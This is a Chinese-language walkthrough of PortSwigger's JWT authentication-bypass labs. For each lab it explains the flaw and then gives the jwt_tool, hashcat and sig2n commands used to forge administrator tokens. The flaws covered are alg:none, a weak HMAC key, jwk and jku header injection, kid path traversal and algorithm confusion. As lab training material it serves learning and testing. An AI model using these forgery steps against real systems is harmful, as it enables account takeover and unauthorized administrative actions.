理论知识:
https://portswigger.net/web-security/jwt
Lab: JWT authentication bypass via unverified signature
——实验:通过未经验证的签名绕过 JWT 身份验证
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
原理:
这个漏洞的关键点在于 JWT(JSON Web Token) 的签名部分未被服务器验证。JWT 通常用于在客户端和服务器之间传递认证信息,包含三部分:头部(Header)、有效载荷(Payload) 和 签名(Signature)。签名用于确保令牌的完整性和防止篡改。
在正常情况下,服务器会使用密钥验证 JWT 的签名,以确保 JWT 数据未被恶意修改。但在此实验中,服务器并未验证签名,从而导致攻击者可以修改令牌中的内容,绕过身份验证。
实验记录:
登录后,查看数据包,发现jwt的痕迹
放到jwt_tool中分析
针对sub进行修改,改为carlos,再去查看用户的返回结果
python jwt_tool.py eyJraWQiOiI4ZjAxNTdhMi1lNWUwLTQyZjgtYWZjNy1kZTM3MWE0ODI4MDQiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDk2MTgwMCwic3ViIjoid2llbmVyIn0.LyL61Hb-kpTT9VD80BF-LJfAFzoFhdQXp1dYAqiAjI1A1YUEAmyr1ZmQzAqPDKTMeAsyKAQRO4RECEZtsmOYaQxIuU6yIgOJTB2syb7L0P2RtYSTbm6ME7tJUkssEf3L87hqYRpg9Y6imfKIlGk9xOlvbokO9YxbgUc3SmHV5N0nUcMPoCD-SvSklqqvlLicSbIAJtLenovoCE9KzJkJy7sEO6OrwUWceW6b-c76LR0J21SQ2gFMepTKKzQuCV9Cb9mTRlfNwbel1fwint465wSofVb7mDvp8i0xbBaMlH6TQBFDZZy0PZY2aM76s3UP61GCb-6J-CgQacznI8ZwNQ -T
将id和cookie进行替换,成功换成carlos用户
通过靶场提示,我们得知要进入admin界面才能删除用户,我们访问admin
要求必须administrator用户,将jwt中的sub修改为administrator
进入admin界面,替换jwt值,成功进入界面
抓包拦截替换
进入后台界面,删除carlos用户
总结:
服务器对jwt只对用户名进行鉴权,修改用户名即可绕过检测
Lab: JWT authentication bypass via flawed signature verification
——实验:通过有缺陷的签名验证绕过 JWT 身份验证
原理:
JWT(JSON Web Token)在签名验证过程中存在配置不当,导致服务器能够接受未签名的JWT。JWT通常由三个部分组成:头部(header)、有效载荷(payload)和签名(signature)。签名用于验证JWT的完整性和来源,确保数据未被篡改。
在这个实验中,服务器错误地配置了JWT的验证机制,允许接受未签名的JWT(alg: none
)。正常情况下,JWT的签名部分应由服务器的私钥加密,客户端每次发送请求时,服务器会使用相应的公钥来验证JWT的签名是否有效。而在此实验中,alg
(算法)参数被设置为none
,即不对JWT进行签名验证。这样,即使JWT的签名被删除,服务器依然会接受它。
实验记录:
登陆后翻看数据包
放到jwt_tool中进行分析
因为服务器接收未签名的jwt,所以将alg设置为none,再将sub设置为administrator,访问admin
使用jwt_tool进行修改,选择预设的EXPLOIT中的a,拿到新的jwt
python jwt_tool.py eyJraWQiOiJiNDFlYTMwNC00ZDRiLTQwMDgtOTc1Ny01YWIyNDA2NWMyM2IiLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDk2MzM1OCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.l31n1rlQxbmVV8gxXRACyXVvHTZejYOnw2VYvpeicOPyRVU7JXxA2EygwUIj89NkB8hIp5A7lfpjoMt1ZU4Li4n0azTSzVKEDw7XZeJYymwCaSQQih1tmVdKf5x-JvlBs5u6X7kfQ-r2Ecpr38Qp7m3HXFpgA0YqgBXb8xdtmgE977ua1uO3XREWVM5RJ40gGG1GalC_vTlEbReDTqF2J0br7BiNLlzKXXbK7IN06bGloE35hMjX_-Yla7yObGphBTqaIfAX0Gon-fJ9UDbtZCdhxpY2ad0hqeBKkQR97PKTO88hIV1X6---ntYdUejh0uudTu3n8y1E8WaCQfOLJA -X a
测试替换jwt成功访问admin
进入浏览器替换jwt,删除carlos用户
总结:
未对jwt的算法进行验证,置空即可绕过,注意置空后的jwt后面有个.(点)
Lab: JWT authentication bypass via weak signing key
——实验:通过弱签名密钥绕过 JWT 身份验证
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key
原理:
弱签名密钥的风险: 如果用于签名和验证 JWT 的密钥非常简单或弱(例如,常见的词典词汇),攻击者就可以暴力破解这个密钥。这会使得攻击者能够篡改有效载荷,伪造合法的 JWT,绕过身份验证。
实验记录:
登录后查看数据包
进入jwttool查看,为hs256算法
利用hashcat爆破密钥
hashcat 'eyJraWQiOiIxOTNiZDZhYi1lMDAxLTQzM2MtYWFjNy0wNDhjNDc1YjRmNzUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDk2NjQwMiwic3ViIjoid2llbmVyIn0.ME7_1krDgymPkmAWtqnIqfvOCapr7ujzIE0nMUZMN7U' -m 16500 /usr/share/wordlists/rockyou.txt
得到密钥为secret1,重新构造签名,打开jwt.io,修改sub以及添加密钥
进入浏览器,将伪造的jwt替换
总结:
签名的密钥存在弱密码,可以伪造签名
Lab: JWT authentication bypass via jwk header injection
——实验:通过 jwk 标头注入绕过 JWT 身份验证
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection
原理:
JWT 头部包含了一个 jwk
参数,它指向一个公钥。这个公钥用于验证 JWT 签名,但服务器未对传入的 jwk
参数进行有效验证
kid
作为标识符的作用是帮助服务器找到正确的公钥,如果 kid
和服务器上某个公钥的 kid
匹配,服务器就会使用该公钥来验证 JWT 的签名。如果攻击者能够修改 kid
使其与自己控制的公钥匹配,那么就能伪造有效的 JWT 签名,并绕过身份验证。
实验记录:
登陆后抓包,拿到jwt
使用jwttool分析
发现为rsa算法,使用jwttool的jwks注入功能
再次查看,这个jwt被加入了jwks
再修改kid和sub,但是,尝试的时候出错了,所以,直接一步到位
python jwt_tool.py eyJraWQiOiI5YTM3YzhjNS1iMTgwLTRjOGEtODliYy1kOWUxZTNiYmM3MDAiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDk3MTcwOCwic3ViIjoid2llbmVyIn0.KX7LpxB4iAfSyPuI8R2du0-m2ywOpQcwtN20nGhtIlHPAdeMQaRi_Nkh0GFCFxBqcQ_bDpfWgui4HJVGBluZ9EPltnK3tN2nUsDKgeQHojLoWEzuA2qHzP0HHrscTikoA7bh8Z4xHSrMFW_ssm0DD3l1PIhm9VMulRCMDp5O3OqK2mznlxu7ncFJ8MR0LppXWVAAQJl9iXybYvHGfcPzkWgV_N2sgdzYD6fNHJAp4pKCfN1AT54OvJ35rB7ufpamT2u8RUtOFko5YLBkOkfjS9mP5Tya5w5VMCBPo3Vzr8UmH_MnXNIvVqw5o-vN9ftm9P_RHqInMMF4WxeoLg3N8Q -X i -I -hc kid -hv jwt_tool -pc sub -pv administrator
替换jwt删除carlos
总结:
首先注入jwk参数,构造自己生成的公钥,修改kid与jwk里面的kid一致,因为服务器根据kid寻找jwk,修改sub参数,完成绕过
Lab: JWT authentication bypass via jku header injection
——实验:通过 jku 标头注入绕过 JWT 身份验证
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection
原理:
JWT 头部中有一个 jku
(JSON Web Key Set URL)参数,它指定一个 URL,服务器可以从该 URL 加载 JWK(JSON Web Key)集合来验证 JWT 的签名。如果攻击者能够控制 jku
指向一个恶意的 URL,他们可以让服务器使用攻击者指定的密钥来验证 JWT,从而绕过签名验证。
实验记录:
登录后抓包拿到jwt
放到jwttool中
-T修改kid和sub
python jwt_tool.py eyJraWQiOiIzOGRhZmRiNi1mNDAyLTQxZWUtYWZlNi04NDU3MDNjNTdiOTEiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYThjMDBjZjAzZWU1YmViODRjZWQ1NzQwMTFhMDBkMC5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTAyNzY3Niwic3ViIjoid2llbmVyIn0.hVPzKtLyRgCJrgvZ1yKGj3dUkMwd8cqVmcsIFLEF2Ve2FfkpiQz95ghKSd5I_FfqbRSnQuaI6EDtyUEHcWvPN8jbpIv91ZhbwJzHVow1heoxqLFxGBtgnjocVAfM-u-KETF_i_Ucy0FQgSXdbs536z05YJ72rvcvtPU7ILkp6r6A1g2oILfSXpwqvMg1N1k2jLlOuDaZ3F6b1V8nKVaXhpWiqR7EJY5BkASnwf5yuE0CzBVFaE9qaoFryaqpv2qE85aj0LI9QHIafr-7m-NBqSi5JIvUdC_ZyCavOOkiJU8RIGSxH3uZPcR9nYW0rSJS85o7go-55rbHAfMREQzFkA -T
对其使用expolit中的jku模块
将jku指向exploit-server
对修改kid和sub的jwt指定url
python jwt_tool.py eyJraWQiOiJqd3RfdG9vbCIsImFsZyI6IlJTMjU2Iiwiamt1IjoiaHR0cHM6Ly9leHBsb2l0LTBhOGMwMGNmMDNlZTViZWI4NGNlZDU3NDAxMWEwMGQwLmV4cGxvaXQtc2VydmVyLm5ldC9leHBsb2l0In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTAyNzY3Niwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.hVPzKtLyRgCJrgvZ1yKGj3dUkMwd8cqVmcsIFLEF2Ve2FfkpiQz95ghKSd5I_FfqbRSnQuaI6EDtyUEHcWvPN8jbpIv91ZhbwJzHVow1heoxqLFxGBtgnjocVAfM-u-KETF_i_Ucy0FQgSXdbs536z05YJ72rvcvtPU7ILkp6r6A1g2oILfSXpwqvMg1N1k2jLlOuDaZ3F6b1V8nKVaXhpWiqR7EJY5BkASnwf5yuE0CzBVFaE9qaoFryaqpv2qE85aj0LI9QHIafr-7m-NBqSi5JIvUdC_ZyCavOOkiJU8RIGSxH3uZPcR9nYW0rSJS85o7go-55rbHAfMREQzFkA -X s -ju https://exploit-0a8c00cf03ee5beb84ced574011a00d0.exploit-server.net/exploit
查看生成的公钥,放到exploit-server中
访问admin,修改生成后的jwt
删除carlos
总结:
jku
指向一个恶意的 URL,他们可以让服务器使用攻击者指定的密钥来验证 JWT,记得先修改sub和kid,再去添加jku
Lab: JWT authentication bypass via kid header path traversal
——实验:通过 kid 标头路径遍历绕过 JWT 身份验证
https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal
原理:
服务器使用 JWT 标头中的 kid
参数来确定密钥的位置,从而验证 JWT 的签名。这意味着服务器根据 kid
参数的值去文件系统中查找密钥。如果攻击者能够操控 kid
参数并指向一个不受限制的文件(例如 /dev/null
),就可能绕过签名验证,因为该文件可能不包含有效的密钥或具有预期的内容。
实验记录:
登陆后抓包
jwt查看内容
将kid改为../../../../dev/null,sub改为administrator
python jwt_tool.py eyJraWQiOiI3MWY4MzRlNC1iZjA2LTQzMTYtYWQ5Zi1hNjIwODc2OWVjMTkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTAyOTcwNywic3ViIjoid2llbmVyIn0.Ex0C6vJDr-qX01Q-6176W0_j0Nb1nkNhktDGOj7f-vg -I -hc kid -hv "../../../dev/null" -pc sub -pv administrator -S hs256 -p ''
访问/admin,修改jwt,删除carlos
总结:
对kid地址的替换导致的验证绕过,jwk和jku以及kid都是针对公钥私钥进行的绕过
Lab: JWT authentication bypass via algorithm confusion
——实验:通过算法混淆绕过 JWT 身份验证
原理:
JWT(JSON Web Token)通常有两种常见的签名算法:
- 对称算法(如 HMAC):同一个密钥用于签名和验证。
- 非对称算法(如 RSA 或 EC):使用不同的公钥和私钥对进行签名和验证。
在这个实验中,服务器使用 RSA 公私钥对来签署和验证 JWT,但由于实现的缺陷,攻击者可以利用 算法混淆 漏洞,尝试使用对称算法(如 HS256)来签署 JWT,而不是 RSA 签名,从而绕过身份验证机制。
在正常情况下,当使用 RSA 签名时,JWT 的 alg
参数会指定签名算法为 RS256
(RSA 签名算法)。服务器会使用私钥来签署 JWT,然后客户端使用公钥来验证签名。
然而,服务器可能没有正确验证 alg
参数,允许攻击者通过修改 JWT 的 alg
参数,将其从 RS256
改为 HS256
(HMAC 签名算法)。此时,JWT 的签名部分会被认为是通过 对称密钥(服务器公钥)进行签名,而不是使用 RSA 私钥。
实验记录:
访问/jwks.json发现公钥
https://8gwifi.org/jwkconvertfunctions.jsp
用这个网址转换jwks为pem
提取出来,写入key.pem
登录,抓包,拿到jwt
选择expolit的k模块进行攻击,再注入sub为administrator
python jwt_tool.py eyJraWQiOiIzNGMxMmU1ZS0yNWRiLTRjMGEtYjliYy1mMGFjZWUxYTQ4NjciLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTA0MzY0OCwic3ViIjoid2llbmVyIn0.fcy09YKlokQPkO1hqBfSvg5aTd8WcLN-w-_TPaLdofew83zKplaygw8pAzglyuORTsPc_SjRuWCi1jF5N-m3ER0LVxHPb91tNfVwjoptbEzxEOrQjl11mmwaO1JIGExD_IRFbGle3iKLIpcb0P_m3TngdN5iIkiR_TQN8NRBDNs31HzTlgjDaqejmUNQBMvqDkYkvOHbn_b5NC5o_9wwfgWOJBhof-tJEikJiAGjw7bLjKSPLwRpflcG85sybkAC3As3s-kHMiqZI753tx75_Qv4QkzUlGmFG2Ku-l2Azz2TnAihgOOMDdYw8iNe2e3DZuA8ZGDvHTGNLxIZNWH7wA -X k -pk key.pem -I -pc sub -pv administrator
拿到构造好的jwt进行替换
删除carlos用户
总结:
对称算法替换非对称算法,绕过验证
Lab: JWT authentication bypass via algorithm confusion with no exposed key
——实验:通过算法混淆绕过 JWT 身份验证,没有暴露的密钥
原理:
通过暴力破解(使用 sig2n
工具)获取服务器的公钥。
实验记录:
登陆后退出,再次重新登录,记录两次的jwt
看到两个jwt并不相同
eyJraWQiOiJhMWQwZDNjOC1jNGFjLTRlMjAtODZkMS1lYmZiMDU3YjQ3ZWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTA0ODYzMiwic3ViIjoid2llbmVyIn0.IhN1FUS-K6PjzWFb2ULBGFqsyvKsnUysFFT2xlrdHIbBpRkuUrbEWVAp9I4b5NbeNWpC-he2kwGbhd-lvRCZrZ0EIi4DE46JgOdiPz-CT967OxUc29JvgeOZBEEXWaMCKmaYnqGb7yxt9rDWiOKRgcYPD4n3lWHfgawW5c33j7QEQk7ItUwJWW_kordzy-bPjEFUZTuoW2ZwaNMeh7kElU3Ue260mpsCgv39dXzdMe_vUFjw4fjIJT-hTrLy3HL4qSq9A7ZjvvQlJd6ykTECk71LSTFHVPRP72Cdf8q66fhudNALekPwwvma1btkVV9VfW4feFlktzuxiwBYSEEZoQ
eyJraWQiOiJhMWQwZDNjOC1jNGFjLTRlMjAtODZkMS1lYmZiMDU3YjQ3ZWYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTA0ODYwMiwic3ViIjoid2llbmVyIn0.e4TOTntQklG2CZBTCtyoK6hX-6xrk_U8Y8C-qYgMdFW0XUZcfIFmmwU0bnuaraPGmn65OAfRKAuBNR8jmgjtGEWUufz0FGwjDIzyY1W-2HbA2-4onhrqkjBQf3Q1z5jF9lH2gEswq-enbOTSTZnNsCCs8B1ddf3lfgVh6MuUAhit7rWDwldMzJl_mCVc_lwXq-6eVc1zSnk-PxBKFqexEBHTSb04XyiSEGKCrJaGhVbGmQvy0FDpHANB-HbEAOctOj5Nd-aaF0WZIX6YhLDJiLPrAKpvmJlLA8KoaWENvM1P6YNXHW1jaCQYh9-2UjRO1n215CFMzNgJX6g3AtjgoA
使用 portswigger/sig2n
工具破解服务器的公钥
docker run --rm -it portswigger/sig2n <token1> <token2>
得到结果,选择X509的进行尝试,经过测试,选择了第二个为有效的
它依然保持登录状态,并未跳转到/login
进入bapp安装jwteditor和json web tokens(前面的实验都可以用这个插件,只不过我更喜欢用jwttool)
复制有效的jwt的key,进入插件,随机生成一个key,用复制的base64内容替换里面的k值
点击ok,进入repeater的json web token界面,将sub替换为administrator,然后点击sign,选择刚刚jsoneditor生成的密钥,再次发包
登录admin
替换jwt,删除carlos
总结:
获取两个不同的token,使用portswigger/sig2n 破解获得服务器派生公钥KEY